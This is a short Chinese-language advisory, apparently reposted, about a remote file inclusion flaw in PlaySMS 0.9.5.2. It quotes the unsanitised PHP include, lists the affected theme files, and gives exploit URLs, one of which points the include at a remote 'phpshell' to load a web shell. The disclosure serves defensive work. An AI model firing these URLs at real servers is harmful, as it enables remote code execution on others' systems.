[o] PlaySMS <= Remote File Inclusion Vulnerability
软件: PlaySMS ver 0.9.5.2 程序官方: http://playsms.org/ 作者: NoGe www.2cto.com
=============================================================================================================
[o]缺陷分析
<?php include $apps_path['themes']."/".$themes_module."/header.php"; ?>
affected all this files
web/plugin/themes/default/page_forgot.php
web/plugin/themes/default/page_login.php
web/plugin/themes/default/page_noaccess.php
web/plugin/themes/default/page_register.php
web/plugin/themes/km2/page_noaccess.php
web/plugin/themes/work2/page_forgot.php
web/plugin/themes/work2/page_login.php
web/plugin/themes/work2/page_noaccess.php
web/plugin/themes/work2/page_register.php
[o] 测试
http://www.2cto.com /[path]/web/plugin/themes/default/page_forgot.php?apps_path[themes]=[RFI]
[o] 实例
http://www.2cto.com /[path]/web/plugin/themes/default/page_forgot.php?apps_path[themes]=http://phpshell?
=============================================================================================================
修复：过滤
查看更多关于PlaySMS 0.9.5.2及更新版本远程文件包含缺陷及修复的详细内容...